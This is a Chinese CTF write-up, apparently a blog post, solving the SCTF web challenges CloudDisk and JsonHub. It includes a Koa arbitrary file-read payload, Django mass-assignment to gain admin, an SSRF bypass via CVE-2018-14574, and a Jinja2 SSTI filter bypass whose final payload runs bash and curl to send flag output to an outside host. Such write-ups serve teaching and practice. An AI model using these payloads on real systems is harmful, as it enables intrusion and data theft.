做 ASISCTF 结果把 SCTF 咕咕咕了,其实感觉 SCTF 的题还算不错的,这里丢 CloudDisk 和 JsonHub 两个 Web 题的 wp
(打了这两场感觉做题思维太死了,我好菜啊
CloudDisk
喜闻乐见的 js 题,终于有不用 var
声明变量的 js 题了,感动(什么时候能改一下 2 格缩进?
const fs = require('fs');
const path = require('path');
const crypto = require('crypto');
const Koa = require('koa');
const Router = require('koa-router');
const koaBody = require('koa-body');
const send = require('koa-send');
const app = new Koa();
const router = new Router();
const SECRET = "?"
app.use(koaBody({
multipart: true,
formidable: {
maxFileSize: 2000 * 1024 * 1024
}
}));
router.post('/uploadfile', async (ctx, next) => {
const file = ctx.request.body.files.file;
const reader = fs.createReadStream(file.path);
let fileId = crypto.createHash('md5').update(file.name + Date.now() + SECRET).digest("hex");
let filePath = path.join(__dirname, 'upload/') + fileId
const upStream = fs.createWriteStream(filePath);
reader.pipe(upStream)
return ctx.body = "Upload success ~, your fileId is here:" + fileId;
});
router.get('/downloadfile/:fileId', async (ctx, next) => {
let fileId = ctx.params.fileId;
ctx.attachment(fileId);
try {
await send(ctx, fileId, { root: __dirname + '/upload' });
}catch(e){
return ctx.body = "SCTF{no_such_file_~}"
}
});
router.get('/', async (ctx, next) => {
ctx.response.type = 'html';
ctx.response.body = fs.createReadStream('index.html');
});
app.use(router.routes());
app.listen(3333, () => {
console.log('This server is running at port: 3333')
})
看起来很正常,没啥毛病,题目还给了一个教程链接:1.【链接】Koa框架教程 http://www.ruanyifeng.com/blog/2017/08/koa.html
题目没有给 package.json
,不知道包版本,这里直接安装最新的,然后跑起来一上传可以看到报错了
Uncaught TypeError: Cannot read property 'file' of undefined
但是题目却是好的,这里有点迷惑。之前做 Koa 开发似乎也发生过类似情况,于是我们去搜一下,找到了个这个玩意 https://github.com/dlau/koa-body/issues/75
顺手去题目给的链接搜了一下,发现其实已经有人说了 http://www.ruanyifeng.com/blog/2017/08/koa.html#comment-393740
PS:阮老师,最近在学习您的教程,上面的教程有个问题(官方有改了一些东西)
(((使用koa-body 完成文件上传)))
您是使用ctx.request.body.files
官方为了安全,在koa-body新版本中采用ctx.request.files获取上传的文件
那么问题就很明显了,我们把 Content-Type 直接改成 application/json
,是完全没有问题的
然后 reader.pipe(upStream)
就会读取我们传进去的文件,写到 uploads
里面
最后 payload:
POST /uploadfile
Content-Type: application/json
{"files":{"file":{"name":"aaa","path":"/proc/self/cwd/flag"}}}
-> bbdb323805716cc6ddc25f2f8ba9c070
GET /downloadfile/bbdb323805716cc6ddc25f2f8ba9c070
-> SCTF{xxx}
之前还以为是依赖库有洞来着,现在发现做题不能思维太僵硬
JsonHub
这道题没有按时解出来(凌晨大脑不太正常,白丢了一个 flag,哭哭
出题人给出了全部源码,所以是一个审计题,本地搭环境也很方便
Web 1
题目给的附件有个文件非常的迷惑:requirements.txt
仔细看一眼就可以发现,出了 Django 以外,其他都几乎是最新版本
Django==2.0.7
这个版本已经是几年前的了,我们去 snyk.io 上去搜一哈康康,可以找到这个 CVE:CVE-2018-14574
似乎一下没看出来有啥用,后面再说
看一下主逻辑,代码也很短,登陆把传进来的 json 解析成 dict 然后传给 authenticate
,注册把传进来的 json 解析成 dict 传给 create_user
其实,上次川内安恒杯也出了一个这种题,不过是 Spring Boot。问题就是出在注册里
try:
data = json.loads(request.body)
except ValueError:
return JsonResponse({"code": -1, "message": "Request data can't be unmarshal"})
# ...
User.objects.create_user(**data)
可以看到,注册是把传进来的 json 直接解析成 dict 全部传给 create_user
,于是这里就产生了一个问题:Mass assignment
具体也不细说了(x),我们本地用 manager.py 创建一个管理员账户,看一下结构是啥样的:
(venv) ➜ web1 python3 manage.py createsuperuser --username=admin [email protected]
(venv) ➜ web1 mysql
MariaDB [django]> select * from auth_user;
+----+--------------------------------------------------------------------------------+------------+--------------+----------+------------+-----------+-----------------+----------+-----------+----------------------------+
| id | password | last_login | is_superuser | username | first_name | last_name | email | is_staff | is_active | date_joined |
+----+--------------------------------------------------------------------------------+------------+--------------+----------+------------+-----------+-----------------+----------+-----------+----------------------------+
| 1 | pbkdf2_sha256$100000$RiIvUHKTHBCY$YwhG2SKgJmySOPOHCDmadSJ5Sn48KqeL0lutO4kaC/g= | NULL | 1 | admin | | | [email protected] | 1 | 1 | 2020-07-05 17:22:06.654396 |
| 2 | pbkdf2_sha256$100000$nbLLSPJRvY3y$y9rPuu34K+ON7UZ9IGUCNChjP/7kUJe3iVDYCBh7U58= | NULL | 1 | aaaaa | | | | 1 | 1 | 2020-07-05 17:23:04.239755 |
+----+--------------------------------------------------------------------------------+------------+--------------+----------+------------+-----------+-----------------+----------+-----------+----------------------------+
2 rows in set (0.000 sec)
这样来看,我们直接给服务器多传几个 field 就可以了:
POST /reg/
Content-Type: application/json;charset=UTF-8
{"username":"adminadminadmin","password":"adminadminadmin","is_superuser":1,"is_staff":1,"is_active":1}
这样,我们就注册拿到了一个管理员账户,登陆进 /admin
里面即可拿到 token
然后我们再看 /rpc/
的逻辑很明显不允许我们直接访问了,我们看下 /home/
的逻辑
data = json.loads(request.body)
# ...
if ssrf_check(data["url"], white_list):
return JsonResponse({"code": -1, "message": "Hacker!"})
else:
res = requests.get(data["url"], timeout=1)
看一眼 ssrf_check
的逻辑
def ssrf_check(url ,white_list):
for i in range(len(white_list)):
if url.startswith("http://" + white_list[i] + "/"):
return False
return True
这里就限的很死了,必须要 http://39.104.19.182/
开头,我觉得这里应该是没办法绕掉了
那么怎么 SSRF 请求那个 /rpc/
呢?前面看到的那个 CVE 就有用了。我们去请求 http://39.104.19.182//127.0.0.1:8000/rpc
,因为 requests 自动跟随 302 跳转,可以看到自动请求了 http://127.0.0.1:8000/rpc/
(具体成因此处不再分析了,网上有很多现成的分析资料)
那么,我们就绕掉了 SSRF,可以正常去请求 /rpc/
来访问 Web2 了
可以用这个 payload 试试:
{"token":"3ad9af405504233188f694a11ff22115","url":"http://39.104.19.182//127.0.0.1:8000/rpc?methods=GET&url=http:%2f%2f127.0.0.1:5000%2fadmin"}
Web 2
Flask,很明显有一个 SSTI 的点:(出题人四级过了嘛?)
def caculator():
try:
data = request.get_json()
except ValueError:
return json.dumps({"code": -1, "message": "Request data can't be unmarshal"})
num1 = str(data["num1"])
num2 = str(data["num2"])
symbols = data["symbols"]
if re.search("[a-z]", num1, re.I) or re.search("[a-z]", num2, re.I) or not re.search("[+\-*/]", symbols):
return json.dumps({"code": -1, "message": "?"})
return render_template_string(str(num1) + symbols + str(num2) + "=" + "?")
但是有 WAF 挡住了字符串 {{
,}}
,{%
,%}
没办法 SSTI 了吗?JSON 是个神奇的东西:https://www.json.org/json-zh.html
可以看到,JSON 支持 \uxxxx
unicode 转义字符的,这样我们就可以绕过 before_request
的限制了
测试一下:
{"num1":"\u007B\u007B 1+2 \u007D\u007D","num2":"#","symbols":"+"}
OK,那么问题来了,绕过了 before_request
的限制,还有一个正则:
if re.search("[a-z]", num1, re.I) or re.search("[a-z]", num2, re.I) or not re.search("[+\-*/]", symbols):
return json.dumps({"code": -1, "message": "?"})
我们不可以在 num1
中传入 a-zA-Z
这些字符
这里可以用 unicode 字符来绕过吗?这里不行,因为在 data = request.get_json()
的时候,字符串实际值就已经被转义了
这里有一种 python 的 8 进制转义字符Python Doc literals(射射 yyp):
>>> str('\114')
'L'
>>>
当我们传进去一个 \\114
时,模版渲染就会将其转义回来,这样我们就构造出字符串了
但是有字符串和能执行有这天壤之别,例如:{{ aaa }}
和 {{ 'aaa' }}
于是我在这里卡了很久,最后我才发现了 Jinjia2 的一个蛇皮模版渲染问题:{{ { }['__class__'] }}
是没有问题的,但是正常 python 语句报错了:
>>> {}['__class__']
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
KeyError: '__class__'
>>>
不管了,这样的话我们就可以直接用 Jinjia2 模版来沙箱逃逸执行命令了:
{{ { }['__class__']['__mro__'][1]['__subclasses__']()[114514]() }}
当然,这里我们找 subprocess.Popen
这个方法来命令执行。由于没办法 .read()
,我们需要把命令执行结果给带出来,直接用 curl
即可
由于不太清楚 python 那个转义字符怎么弄,干脆打了一个表:
let table = {};
for(let i = 0; i < 26; i++){
table[String.fromCharCode(97 + i)] = [141, 142, 143, 144, 145, 146, 147, 150, 151, 152, 153, 154, 155, 156, 157, 160, 161, 162, 163, 164, 165, 166, 167, 170, 171, 172][i];
}
function fuck(str) {
let tmp = "";
for(let i = 0; i < str.length; i++) {
tmp += "\\\\" + table[str[i]];
}
return tmp;
}
Update:转换脚本
def fuck(str):
tmp = ""
for i in str:
if 65 <= ord(i) <=90 or 97 <= ord(i) <= 122:
tmp += "\\%o" % ord(i)
else:
tmp += i
return tmp
然后就是慢慢找 subprocess.Popen
的索引,这里我们找到的是 409,然后直接传数组进去执行命令即可。因为是 Popen,我们用 bash 来构造:
['bash', '-c', 'curl ip:port/`/readflag` ']
打表出来最终 payload 就是:
{"num1":"\u007B\u007B {}['__\\143\\154\\141\\163\\163__']['__\\155\\162\\157__'][1]['__\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163__']()[409](['/\\142\\151\\156/\\142\\141\\163\\150','-\\143','\\143\\165\\162\\154 ip:port/`/\\162\\145\\141\\144\\146\\154\\141\\147`']) \u007D\u007D","num2":"#","symbols":"+"}
然后 base64 丢给 Django 的接口即可:
{"token":"3ad9af405504233188f694a11ff22115","url":"http://39.104.19.182//127.0.0.1:8000/rpc?methods=POST&url=http:%2f%2f127.0.0.1:5000%2fcaculator&data=payload"}
其实做完以后感觉,这道题还是挺有意思的
总结
为啥感觉 SCTF 的 Web 要比 ASISCTF 有意思多了,呜呜(早知道做 SCTF 了)
发表评论
沙发空缺中,还不快抢~